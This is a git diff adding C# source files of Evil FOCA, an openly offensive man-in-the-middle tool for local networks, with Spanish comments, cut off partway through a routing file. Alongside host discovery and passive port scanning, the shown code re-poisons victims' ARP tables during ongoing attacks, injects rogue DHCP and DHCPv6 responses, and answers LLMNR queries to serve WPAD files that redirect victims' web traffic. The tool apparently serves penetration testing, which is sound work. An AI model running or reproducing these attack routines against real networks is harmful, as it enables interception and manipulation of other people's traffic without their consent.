http://dev.metasploit.com/redmine/projects/framework/repository/revisions/67120d4263806eaedcad03761439509eda5cba12/entry/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb + // + + EthernetPacket ethernet = new EthernetPacket(Device.Interface.MacAddress, + new PhysicalAddress(new byte[] { 0x33, 0x33, 0x0, 0x0, 0x0, 0x1 }), + EthernetPacketType.IpV6); + + IPAddress[] ipsMultiCast = new IPAddress[] { + new IPAddress(new byte[] { 0xff, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 }) + }; + + foreach (IPAddress ipMulticast in ipsMultiCast) + { + IPv6Packet ipv6 = new IPv6Packet(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Device), ipMulticast); + ipv6.HopLimit = 255; + + ICMPv6Packet routerAdvertisement = new ICMPv6Packet(new ByteArraySegment(new ICMPv6.NeighborRouterAdvertisement(Device.Interface.MacAddress).GetBytes())); + + ethernet.PayloadPacket = ipv6; + ipv6.PayloadPacket = routerAdvertisement; + Program.CurrentProject.data.SendPacket(ethernet); + } + } + + private void HostDiscoveryPingMulticast() + { + // + // Host discovery enviando pings a las direcciones multicast + // http://dev.metasploit.com/redmine/projects/framework/repository/revisions/67120d4263806eaedcad03761439509eda5cba12/entry/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb + // + // Nota: Parece que los windows no responden a los pings mutlicasts. Los linux (backtrack) si lo hacen + // + + IPAddress ipLocalLink = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Device); + + EthernetPacket ethernet = new EthernetPacket(Device.Interface.MacAddress, + new PhysicalAddress(new byte[] { 0x33, 0x33, 0x0, 0x0, 0x0, 0x1 }), + EthernetPacketType.IpV6); + ICMPv6Packet icmp = new ICMPv6Packet(new ByteArraySegment(new byte[40])) + { + Type = ICMPv6Types.EchoRequest, + PayloadData = Encoding.ASCII.GetBytes("abcdefghijklmnopqrstuvwabcdefghi") + }; + + IPAddress[] ipsMultiCast = new IPAddress[] { + new IPAddress(new byte[] { 0xff, 0x01, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 }), + new IPAddress(new byte[] { 0xff, 0x01, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2 }), + new IPAddress(new byte[] { 0xff, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 }), + new IPAddress(new byte[] { 0xff, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2 }) + }; + + foreach (IPAddress ipMulticast in ipsMultiCast) + { + IPv6Packet ipv6 = new IPv6Packet( + ipLocalLink, + ipMulticast + ); + ethernet.PayloadPacket = ipv6; + ipv6.PayloadPacket = icmp; + Program.CurrentProject.data.SendPacket(ethernet); + } + } + + private void HostDiscoveryArpNetmask() + { + IPAddress localIpv4 = Program.CurrentProject.data.GetIPv4FromDevice(Program.CurrentProject.data.GetDevice()); + + if ((Program.CurrentProject.data.GetDevice() == null) || (localIpv4 == null)) + { +#if DEBUG + MessageBox.Show("Debug: La interfaz no tiene dirección IPv4", "", MessageBoxButtons.OK, MessageBoxIcon.Error); +#endif + return; + } + + Sockaddr netmask = Program.CurrentProject.data.GetNetmaskFromIP(Program.CurrentProject.data.GetDevice(), localIpv4); + SendARPIps(localIpv4, netmask); + } + + private void HostDiscoveryArpIpRange(IPAddress ipFrom, IPAddress ipTo) + { + IPAddress localIpv4 = Program.CurrentProject.data.GetIPv4FromDevice(Program.CurrentProject.data.GetDevice()); + + if ((Program.CurrentProject.data.GetDevice() == null) || (localIpv4 == null)) + { +#if DEBUG + MessageBox.Show("Debug: La interfaz no tiene dirección IPv4", "", MessageBoxButtons.OK, MessageBoxIcon.Error); +#endif + return; + } + + Sockaddr netmask = Program.CurrentProject.data.GetNetmaskFromIP(Program.CurrentProject.data.GetDevice(), localIpv4); + SendARPIps(ipFrom, ipTo); + } + + private void SendARPIps(IPAddress from, IPAddress to) + { + IPAddress localIpv4 = Program.CurrentProject.data.GetIPv4FromDevice(Program.CurrentProject.data.GetDevice()); + + string[] rangeFromSplit = from.ToString().Split('.'); + string[] rangeToSplit = to.ToString().Split('.'); + + int[] rangeFrom = new int[] { int.Parse(rangeFromSplit[0]), + int.Parse(rangeFromSplit[1]), + int.Parse(rangeFromSplit[2]), + int.Parse(rangeFromSplit[3]) + }; + + int[] rangeTo = new int[] { int.Parse(rangeToSplit[0]), + int.Parse(rangeToSplit[1]), + int.Parse(rangeToSplit[2]), + int.Parse(rangeToSplit[3]) + }; + while (string.Format("{0}.{1}.{2}.{3}", rangeFrom[0], rangeFrom[1], rangeFrom[2], rangeFrom[3]) != + string.Format("{0}.{1}.{2}.{3}", rangeTo[0], rangeTo[1], rangeTo[2], rangeTo[3])) + { + string sIp = string.Format("{0}.{1}.{2}.{3}", rangeFrom[0], rangeFrom[1], rangeFrom[2], rangeFrom[3]); + + EthernetPacket ethernet = new EthernetPacket(Program.CurrentProject.data.GetDevice().Interface.MacAddress, + new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), + EthernetPacketType.Arp); + ethernet.PayloadPacket = new ARPPacket(ARPOperation.Request, + new PhysicalAddress(new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }), + IPAddress.Parse(sIp), + Program.CurrentProject.data.GetDevice().Interface.MacAddress, + localIpv4); + Program.CurrentProject.data.SendPacket(ethernet); + + if (rangeFrom[3] >= 255) + { + rangeFrom[3] = 0; + + if (rangeFrom[2] >= 255) + { + rangeFrom[2] = 0; + if (rangeFrom[1] >= 255) + { + rangeFrom[1] = 0; + rangeFrom[0]++; + if (rangeFrom[0] >= 255) + break; // Esto no debería pasar nunca. + } + else + rangeFrom[1]++; + } + else + rangeFrom[2]++; + } + else + rangeFrom[3]++; + } + + // return lstIps; + } + + private void SendARPIps(IPAddress ip, Sockaddr netmask) + { + IPAddress firstIP = new IPAddress(ip.Address & netmask.ipAddress.Address); + IPAddress lastIP = new IPAddress((uint)((int)ip.Address | (int)~netmask.ipAddress.Address)); + + SendARPIps(firstIP, lastIP); + } + } +} diff --git a/EvilFoca/Core/OSDetector.cs b/EvilFoca/Core/OSDetector.cs new file mode 100644 index 0000000..aac5b14 --- /dev/null +++ b/EvilFoca/Core/OSDetector.cs @@ -0,0 +1,85 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using PacketDotNet; + +namespace evilfoca.Core +{ + public static class OSDetector + { + public static void AnalyzePacket(Packet p) + { + if (p == null) + return; + + if ( + (p.PayloadPacket != null && p.PayloadPacket is IPv6Packet) + && + (p.PayloadPacket.PayloadPacket != null && p.PayloadPacket.PayloadPacket is ICMPv6Packet) + ) + { + AnalyzeICMPv6Packet(p); + } + } + + private static void AnalyzeICMPv6Packet(Packet packet) + { + if (!(packet.PayloadPacket.PayloadPacket is ICMPv6Packet)) + return; + + try + { + ICMPv6Types type = ((ICMPv6Packet)packet.PayloadPacket.PayloadPacket).Type; + if (type == ICMPv6Types.NeighborAdvertisement) + { + ushort payloadLen = ((IPv6Packet)packet.PayloadPacket).PayloadLength; + byte[] flags = new byte[4]; + + flags[0] = (packet.PayloadPacket.PayloadPacket).Bytes[4]; + flags[1] = (packet.PayloadPacket.PayloadPacket).Bytes[5]; + flags[2] = (packet.PayloadPacket.PayloadPacket).Bytes[6]; + flags[3] = (packet.PayloadPacket.PayloadPacket).Bytes[7]; + + Data.Neighbor neighbor = Program.CurrentProject.data.GetNeighbor(((EthernetPacket)packet).SourceHwAddress); + if (neighbor != null) + { + // Si el payload UDP es 24 bytes, y los flags son 0x40000000 (sol) puede ser un linux, y no un windows (0x60000000, sol ovr). + if ((flags[0] == 0x40) && (flags[1] == 0x00) && (flags[2] == 0x00) && (flags[3] == 0x00)) + { + // Linux + if (neighbor.osPlatform == Data.Platform.Unknow) + neighbor.osPlatform = Data.Platform.Linux; + } + else if ((flags[0] == 0x60) && (flags[1] == 0x00) && (flags[2] == 0x00) && (flags[3] == 0x00)) + { + // Windows + if (neighbor.osPlatform == Data.Platform.Unknow) + neighbor.osPlatform = Data.Platform.Windows; + } + } + } + } + catch (ArgumentOutOfRangeException) + { + } + } + } +} diff --git a/EvilFoca/Core/PasivePortScanner.cs b/EvilFoca/Core/PasivePortScanner.cs new file mode 100644 index 0000000..21b2e8a --- /dev/null +++ b/EvilFoca/Core/PasivePortScanner.cs @@ -0,0 +1,90 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using SharpPcap.WinPcap; +using PacketDotNet; +using evilfoca.Data; + +namespace evilfoca.Core +{ + class PasivePortScanner + { + IList neighbors; + + public PasivePortScanner(IList neighbors) + { + this.neighbors = neighbors; + } + + public void AnalyzePacket(Packet p) + { + if (p == null) + return; + if (p.PayloadPacket == null) + return; + if (p.PayloadPacket.PayloadPacket == null) + return; + + if (p.PayloadPacket is IpPacket) + { + if (p.PayloadPacket.PayloadPacket is TcpPacket) + AnalyzeTCP(p); + else if (p.PayloadPacket.PayloadPacket is UdpPacket) + AnalyzeUDP(p); + } + } + + private void AnalyzeTCP(Packet p) + { + if (!(p.PayloadPacket.PayloadPacket is TcpPacket)) + return; + + EthernetPacket ethernet = (EthernetPacket)p; + IpPacket ip = (IpPacket)p.PayloadPacket; + TcpPacket tcp = (TcpPacket)p.PayloadPacket.PayloadPacket; + Neighbor neighbor = null; + + if (tcp.Syn && tcp.Ack) + { + neighbor = Program.CurrentProject.data.GetNeighbor(ethernet.SourceHwAddress); + if (neighbor == null) + return; + + if (neighbor.ExistsIP(ip.SourceAddress)) + { + Port port = new Port(tcp.SourcePort, Protocol.TCP, ip.SourceAddress); + if (!(neighbor.ExistsPort(port))) + { + neighbor.AddPort(port); + Program.CurrentProject.data.AddNeighbor(neighbor); + } + } + else + return; + } + } + + private void AnalyzeUDP(Packet p) + { + // No implementado + } + } +} diff --git a/EvilFoca/Core/PasiveScan.cs b/EvilFoca/Core/PasiveScan.cs new file mode 100644 index 0000000..77f4d48 --- /dev/null +++ b/EvilFoca/Core/PasiveScan.cs @@ -0,0 +1,536 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using PacketDotNet; +using System.Net.NetworkInformation; +using System.Net; +using evilfoca.Data; +using SharpPcap.WinPcap; +using SharpPcap.LibPcap; +using evilfoca.Attacks; +using System.IO; +using System.Threading; +using System.Diagnostics; +using evilfoca.HTTP; + +namespace evilfoca.Core +{ + public class PasiveScan + { + public Packet packetToAnalyze { get; set; } + public ManualResetEvent doneEvent { get; set; } + + public event EventHandler NewNeighbor; + public event EventHandler NewARP; + public event EventHandler NewICMPv6Solicitation; + public event EventHandler NewICMPv6Advertisement; + + + PhysicalAddress localPhysicalAddress; + WinPcapDevice device; + + Router route; // Se encarga de enrutar paquetes + PasivePortScanner pasivePortScan; // Analiza los paquetes TCP/UDP para detectar servicios o puertos abiertos + + DHCPACKInjection DHCPACKInjection; + Attacks.DHCPIpv6 DHCPIpv6; + + SynchronizedCollection attacks; + IList neighbors; + + public PasiveScan(WinPcapDevice device, SynchronizedCollection attacks, IList neighbors, SynchronizedCollection slaacReqs) + { + this.device = device; + this.localPhysicalAddress = device.MacAddress; + this.attacks = attacks; + this.neighbors = neighbors; + + this.route = new Router(device, attacks, slaacReqs); + this.pasivePortScan = new PasivePortScanner(neighbors); + /* Ataques pasivos */ + this.DHCPACKInjection = new DHCPACKInjection(device, attacks); + this.DHCPIpv6 = new DHCPIpv6(device, attacks); + } + + public void ThreadPoolCallback(Object threadContext) + { + + int threadIndex = (int)threadContext; + + this.AnalyzePacket(packetToAnalyze); + + doneEvent.Set(); + } + + + public void AnalyzePacket(Packet p) + { + try + { + if (p is EthernetPacket) + { + if (p.PayloadPacket == null) + return; + + //Para que no se procesen los paquetes del DoS + if ((p as EthernetPacket).SourceHwAddress.Equals(DoSSLAAC.MACsrc)) + return; + + if (p.PayloadPacket is ARPPacket) + AnalyzeARP(p); + + if (p.PayloadPacket is IPv6Packet) + AnalyzeIPv6Packet(p); + else if (p.PayloadPacket is IPv4Packet) + AnalyzeIPv4Packet(p); + AnalyzeLLMNR(p); + + // Ataque pasivo DHCP ACK Injector en Ipv4 + + if ((attacks.Where(A => A.attackType == AttackType.DHCPACKInjection && A.attackStatus == AttackStatus.Attacking).Count() > 0)) + { + if (DHCPACKInjection.CheckIfIsDHCP(p)) + DHCPACKInjection.AnalyzePacket(device, p); + } + + // Ataque pasivo DHCP IPv6 + if ((attacks.Where(A => A.attackType == AttackType.DHCPIpv6 && A.attackStatus == AttackStatus.Attacking).Count() > 0)) + { + if (DHCPIpv6.CheckIfIsRequestDHCPIpv6(p)) + DHCPIpv6.AnalyzePacket(device, p); + } + + OSDetector.AnalyzePacket(p); + pasivePortScan.AnalyzePacket(p); + + route.CheckToRoutePacket(p); + } + } + catch + { + // Paquete perdido!!! + } + } + + private void AnalyzeARP(Packet packet) + { + if (!(packet.PayloadPacket is ARPPacket)) + return; + if (!(packet is EthernetPacket)) + return; + + EthernetPacket ethernet = (EthernetPacket)packet; + ARPPacket arp = (ARPPacket)packet.PayloadPacket; + + // Si el paquete va dirigido a nuestra MAC... + if (ethernet.DestinationHwAddress.Equals(localPhysicalAddress)) + { + PhysicalAddress mac = arp.SenderHardwareAddress; + IPAddress ip = arp.SenderProtocolAddress; + + Neighbor neighbor = Program.CurrentProject.data.GetNeighbor(mac); + if (neighbor == null) + { + // Creamos el vecino + neighbor = new Neighbor(); + neighbor.physicalAddress = mac; + neighbor.AddIP(ip); + Program.CurrentProject.data.AddNeighbor(neighbor); + NewNeighbor(this, new NeighborEventArgs(neighbor)); + } + else + { + // Si ya existe, comprobamos si tiene la iP ipv4 y se la añadimos (en caso de que lo la tenga) + if (!neighbor.ExistsIP(ip)) + { + neighbor.AddIP(ip); + Program.CurrentProject.data.AddNeighbor(neighbor); + } + + } + } + // Si va dirigido a broadcast ... + else if (ethernet.DestinationHwAddress.Equals(PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"))) + { + // Si los que están "negociando" las tablas ARP están siendo atacados por un MITM, + // se les vuelve a atacar envenenando sus tablas + + if (arp.Operation == ARPOperation.Request) + { + PhysicalAddress senderMac = arp.SenderHardwareAddress; + PhysicalAddress destinationMac = arp.TargetHardwareAddress; + IPAddress senderIp = arp.SenderProtocolAddress; + IPAddress destinationIp = arp.TargetProtocolAddress; + + SynchronizedCollection lstAttacks = Program.CurrentProject.data.GetAttacks(); + + // En caso de MITM ARP -> Si el equipo está intentando restablecer su tabla ARP ... se le vuelve a envenenar + foreach (Attack attk in lstAttacks.Where(A => (A.attackType == AttackType.ARPSpoofing || A.attackType == AttackType.InvalidMacSpoofIpv4) && A.attackStatus == AttackStatus.Attacking)) + { + if (attk is MitmAttack) + { + MitmAttack mitmArp = (MitmAttack)attk; + if ( + ((mitmArp.t1.ip.Equals(senderIp)) || (mitmArp.t1.ip.Equals(destinationIp))) + && + ((mitmArp.t2.ip.Equals(senderIp)) || (mitmArp.t2.ip.Equals(destinationIp))) + ) + { + // Lo envia a ambas partes del ataque, se vuelve a envenenar a los dos equipos + // (aunque unicamente sería necesario al que hace la solicitud (request) + + ethernet = Attacks.ARPSpoofing.GenerateResponseArpPoison(device.Interface.MacAddress, + ((MitmAttack)mitmArp).t2.mac, + ((MitmAttack)mitmArp).t2.ip, + ((MitmAttack)mitmArp).t1.ip); + Program.CurrentProject.data.SendPacket(ethernet); + + ethernet = Attacks.ARPSpoofing.GenerateResponseArpPoison(device.Interface.MacAddress, + ((MitmAttack)mitmArp).t1.mac, + ((MitmAttack)mitmArp).t1.ip, + ((MitmAttack)mitmArp).t2.ip); + Program.CurrentProject.data.SendPacket(ethernet); + } + } + else if (attk is InvalidMacSpoofAttackIpv4Attack) + { + ethernet = Attacks.ARPSpoofing.GenerateResponseArpPoison(device.Interface.MacAddress, + ((InvalidMacSpoofAttackIpv4Attack)attk).t2.mac, + ((InvalidMacSpoofAttackIpv4Attack)attk).t2.ip, + ((InvalidMacSpoofAttackIpv4Attack)attk).t1.ip); + Program.CurrentProject.data.SendPacket(ethernet); + } + } + } + } + + OnNewARP(new ArpEventArgs(packet)); + } + + private void AnalyzeLLMNR(Packet packet) + { + if (!(packet is EthernetPacket)) + return; + + // IPv4 y IPv6 + if (packet.PayloadPacket.PayloadPacket is UdpPacket) + { + // Respuestas de LLMNR. De aqui podemos capturar el nombre. + if ((((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort == 5355) && (((EthernetPacket)packet).Type == EthernetPacketType.IpV4)) + { + LLMNR.LLMNRAnswer LLMNRAnswer = new LLMNR.LLMNRAnswer(packet.PayloadPacket.PayloadPacket.PayloadData); + + // Solo lo cojemos las respuestas que son de tipo PTR o de tipo A + if (LLMNRAnswer.isPtrResponse == true && LLMNRAnswer.computerName != string.Empty) + { + Neighbor neighbor = Program.CurrentProject.data.GetNeighbor(((EthernetPacket)(packet)).SourceHwAddress); + + if (neighbor == null) + { + neighbor = new Neighbor(); + neighbor.computerName = LLMNRAnswer.computerName; + neighbor.AddIP(LLMNRAnswer.ipAddress); + neighbor.physicalAddress = ((EthernetPacket)(packet)).SourceHwAddress; + Program.CurrentProject.data.AddNeighbor(neighbor); + NewNeighbor(this, new NeighborEventArgs(neighbor)); + } + else + { + neighbor.computerName = LLMNRAnswer.computerName; + Program.CurrentProject.data.AddNeighbor(neighbor); + } + } + } + + + if ((((EthernetPacket)packet).Type == EthernetPacketType.IpV4) && (((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 5355)) + { + SynchronizedCollection lstAttacks = Program.CurrentProject.data.GetAttacks(); + + // En caso de MITM ARP -> Si el equipo está intentando restablecer su tabla ARP ... se le vuelve a envenenar + foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv4 && A.attackStatus == AttackStatus.Attacking)) + { + MitmAttack mitmAtt = (MitmAttack)attk; + if (((IPv4Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip)) + WpadIPv4Attack.Instance.GenerateLLMNRResponse(packet); + } + + } + + if ((((EthernetPacket)packet).Type == EthernetPacketType.IpV6) && (((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 5355)) + { + SynchronizedCollection lstAttacks = Program.CurrentProject.data.GetAttacks(); + + // En caso de MITM ARP -> Si el equipo está intentando restablecer su tabla ARP ... se le vuelve a envenenar + foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv6 && A.attackStatus == AttackStatus.Attacking)) + { + MitmAttack mitmAtt = (MitmAttack)attk; + if (((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip)) + WpadIPv6Attack.Instance.GenerateLLMNRResponse(packet); + } + } + } + } + + private void AnalyzeIPv4Packet(Packet packet) + { + if (!(packet.PayloadPacket is IPv4Packet)) + return; + if (!(packet is EthernetPacket)) + return; + + PhysicalAddress macSrc = ((EthernetPacket)packet).SourceHwAddress; + PhysicalAddress macDst = ((EthernetPacket)packet).DestinationHwAddress; + IPAddress ipSrc = ((IPv4Packet)(((EthernetPacket)packet).PayloadPacket)).SourceAddress; + IPAddress ipDst = ((IPv4Packet)(((EthernetPacket)packet).PayloadPacket)).DestinationAddress; + + Data.Neighbor neighborSrc = new Data.Neighbor(); + Data.Neighbor neighborDst = new Data.Neighbor(); + + neighborSrc.physicalAddress = macSrc; + neighborSrc.AddIP(ipSrc); + neighborDst.physicalAddress = macDst; + neighborDst.AddIP(ipDst); + + if (IsPrivateIP(ipSrc)) + { + // [ Si no se envia desde nuestra mac ] Y [ el vecino no existe ] -> Se crea el vecino + if (!macSrc.Equals(localPhysicalAddress) && !Program.CurrentProject.data.ExistsNeighbor(macSrc)) + { + if ((neighborSrc.GetIPs().Count > 0) && !(macSrc.ToString() == "FFFFFFFFFFFF")) + { + Program.CurrentProject.data.AddNeighbor(neighborSrc); + OnNewNeighbor(new NeighborEventArgs(neighborSrc)); + } + } + // En caso de que el vecino (mac) tenga una nueva IP, se la añadimos + if (Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress) != null && + !Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress).ExistsIP(ipSrc)) + { + Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress).AddIP(ipSrc); + Program.CurrentProject.data.AddNeighbor(neighborSrc); + } + } + + if (IsPrivateIP(ipDst)) + { + // [ Si el destino no es nuestra mac ] Y [ el vecino no existe ] -> Se crea el vecino + if (!macDst.Equals(localPhysicalAddress) && !Program.CurrentProject.data.ExistsNeighbor(macDst)) + { + if ((neighborDst.GetIPs().Count > 0) && !(macDst.ToString() == "FFFFFFFFFFFF") && !(macDst.ToString() == "000000000000")) + { + Program.CurrentProject.data.AddNeighbor(neighborDst); + OnNewNeighbor(new NeighborEventArgs(neighborDst)); + } + } + if (Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress) != null && + !Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress).ExistsIP(ipDst)) + { + Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress).AddIP(ipDst); + Program.CurrentProject.data.AddNeighbor(neighborDst); + } + } + + + + if ((packet.PayloadPacket.PayloadPacket is TcpPacket) + && (((TcpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 80) + && (((EthernetPacket)packet).Type == EthernetPacketType.IpV4) + && ((IPv4Packet)(((EthernetPacket)packet).PayloadPacket)).DestinationAddress.Equals(Program.CurrentProject.data.GetIPv4FromDevice(device))) + { + SynchronizedCollection lstAttacks = Program.CurrentProject.data.GetAttacks(); + + foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv4 && A.attackStatus == AttackStatus.Attacking)) + { + MitmAttack mitmAtt = (MitmAttack)attk; + if (((IPv4Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip)) + WpadIPv4Attack.Instance.SendWpadFile(packet); + } + } + } + + private void AnalyzeIPv6Packet(Packet packet) + { + if (!(packet.PayloadPacket is IPv6Packet)) + return; + if (!(packet is EthernetPacket)) + return; + + PhysicalAddress macSrc = ((EthernetPacket)packet).SourceHwAddress; + PhysicalAddress macDst = ((EthernetPacket)packet).DestinationHwAddress; + IPAddress ipSrc = ((IPv6Packet)(((EthernetPacket)packet).PayloadPacket)).SourceAddress; + IPAddress ipDst = ((IPv6Packet)(((EthernetPacket)packet).PayloadPacket)).DestinationAddress; + + Data.Neighbor neighborSrc = new Data.Neighbor(); + Data.Neighbor neighborDst = new Data.Neighbor(); + + neighborSrc.physicalAddress = macSrc; + neighborSrc.AddIP(ipSrc); + neighborDst.physicalAddress = macDst; + neighborDst.AddIP(ipDst); + + if ((ipSrc.IsIPv6LinkLocal) && (ipDst.IsIPv6LinkLocal || ipDst.IsIPv6Multicast) && (packet.PayloadPacket.PayloadPacket is ICMPv6Packet)) + AnalyzeICMPv6Packet(packet); + + if (ipSrc.IsIPv6LinkLocal) + { + // [ Si no se envia desde nuestra mac ] Y [ el vecino no existe ] -> Se crea el vecino + if (!macSrc.Equals(localPhysicalAddress) && !Program.CurrentProject.data.ExistsNeighbor(macSrc)) + { + Program.CurrentProject.data.AddNeighbor(neighborSrc); + OnNewNeighbor(new NeighborEventArgs(neighborSrc)); + } + // En caso de que el vecino (mac) tenga una nueva IP, se la añadimos + if (Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress) != null && + !Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress).ExistsIP(ipSrc)) + { + Program.CurrentProject.data.GetNeighbor(neighborSrc.physicalAddress).AddIP(ipSrc); + Program.CurrentProject.data.AddNeighbor(neighborSrc); + } + } + + if (ipDst.IsIPv6LinkLocal) + { + // [ Si el destino no es nuestra mac ] Y [ el vecino no existe ] -> Se crea el vecino + if (!macDst.Equals(localPhysicalAddress) && !Program.CurrentProject.data.ExistsNeighbor(macDst)) + { + Program.CurrentProject.data.AddNeighbor(neighborDst); + OnNewNeighbor(new NeighborEventArgs(neighborDst)); + } + if (Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress) != null && + !Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress).ExistsIP(ipDst)) + { + Program.CurrentProject.data.GetNeighbor(neighborDst.physicalAddress).AddIP(ipDst); + Program.CurrentProject.data.AddNeighbor(neighborDst); + } + } + + if ((packet.PayloadPacket.PayloadPacket is TcpPacket) + && (((TcpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 80) + && (((EthernetPacket)packet).Type == EthernetPacketType.IpV6) + && ((IPv6Packet)(((EthernetPacket)packet).PayloadPacket)).DestinationAddress.Equals(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device))) + { + SynchronizedCollection lstAttacks = Program.CurrentProject.data.GetAttacks(); + + foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv6 && A.attackStatus == AttackStatus.Attacking)) + { + MitmAttack mitmAtt = (MitmAttack)attk; + if (((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip)) + WpadIPv6Attack.Instance.SendWpadFile(packet); + } + } + } + + private void AnalyzeICMPv6Packet(Packet packet) + { + if (!(packet.PayloadPacket.PayloadPacket is ICMPv6Packet)) + return; + + try + { + ICMPv6Types type = ((ICMPv6Packet)packet.PayloadPacket.PayloadPacket).Type; + switch (type) + { + case ICMPv6Types.NeighborSolicitation: // Neighbor solicitation + OnNewICMPv6Solicitation(new PacketEventArgs(packet)); + break; + case ICMPv6Types.NeighborAdvertisement: // Neighbor advertisement + OnNewICMPv6Advertisement(new PacketEventArgs(packet)); + break; + } + } + catch (ArgumentOutOfRangeException) + { + } + } + + private void OnNewICMPv6Solicitation(PacketEventArgs e) + { + EventHandler handler = NewICMPv6Solicitation; + if (handler != null) + { + handler(this, e); + } + } + + private void OnNewICMPv6Advertisement(PacketEventArgs e) + { + EventHandler handler = NewICMPv6Advertisement; + if (handler != null) + { + handler(this, e); + } + } + + private void OnNewNeighbor(NeighborEventArgs e) + { + EventHandler handler = NewNeighbor; + if (handler != null) + { + if (!e.Neighbor.physicalAddress.Equals(localPhysicalAddress)) + handler(this, e); + } + } + + private void OnNewARP(ArpEventArgs e) + { + EventHandler handler = NewARP; + + if (handler != null) + { + handler(this, e); + } + } + + public static bool IsPrivateIP(IPAddress ip) + { + string strIP = ip.ToString(); + return ((strIP.CompareTo("10.0.0.0") >= 0 && + strIP.CompareTo("10.255.255.255") <= 0) || + (strIP.CompareTo("172.16.0.0") >= 0 && + strIP.CompareTo("172.31.255.255") <= 0) || + (strIP.CompareTo("192.168.0.0") >= 0 && + strIP.CompareTo("192.168.255.255") <= 0)); + } + } + + + + public class ArpEventArgs : EventArgs + { + public Packet p; + + public ArpEventArgs(Packet p) + { + this.p = p; + } + } + + public class PacketEventArgs : EventArgs + { + public Packet packet; + + public PacketEventArgs(Packet packet) + { + this.packet = packet; + } + } +} diff --git a/EvilFoca/Core/Router.cs b/EvilFoca/Core/Router.cs new file mode 100644 index 0000000..e463a14 --- /dev/null +++ b/EvilFoca/Core/Router.cs @@ -0,0 +1,861 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using evilfoca.Attacks; +using evilfoca.Data; +using evilfoca.HTTP; +using PacketDotNet; +using PacketDotNet.Utils; +using SharpPcap.LibPcap; +using SharpPcap.WinPcap; +using System.Diagnostics; +namespace evilfoca.Core +{ + public class Router + { + static object htppLock = new object(); + PhysicalAddress localPhysicalAddress; + WinPcapDevice device; + SynchronizedCollection attacks; + private const int REDIRECTCOUNT = 3; + DNSHijacking dnsHijacking; + + + public Router(WinPcapDevice dev, SynchronizedCollection attacks, SynchronizedCollection slaacReqs) + { + this.device = 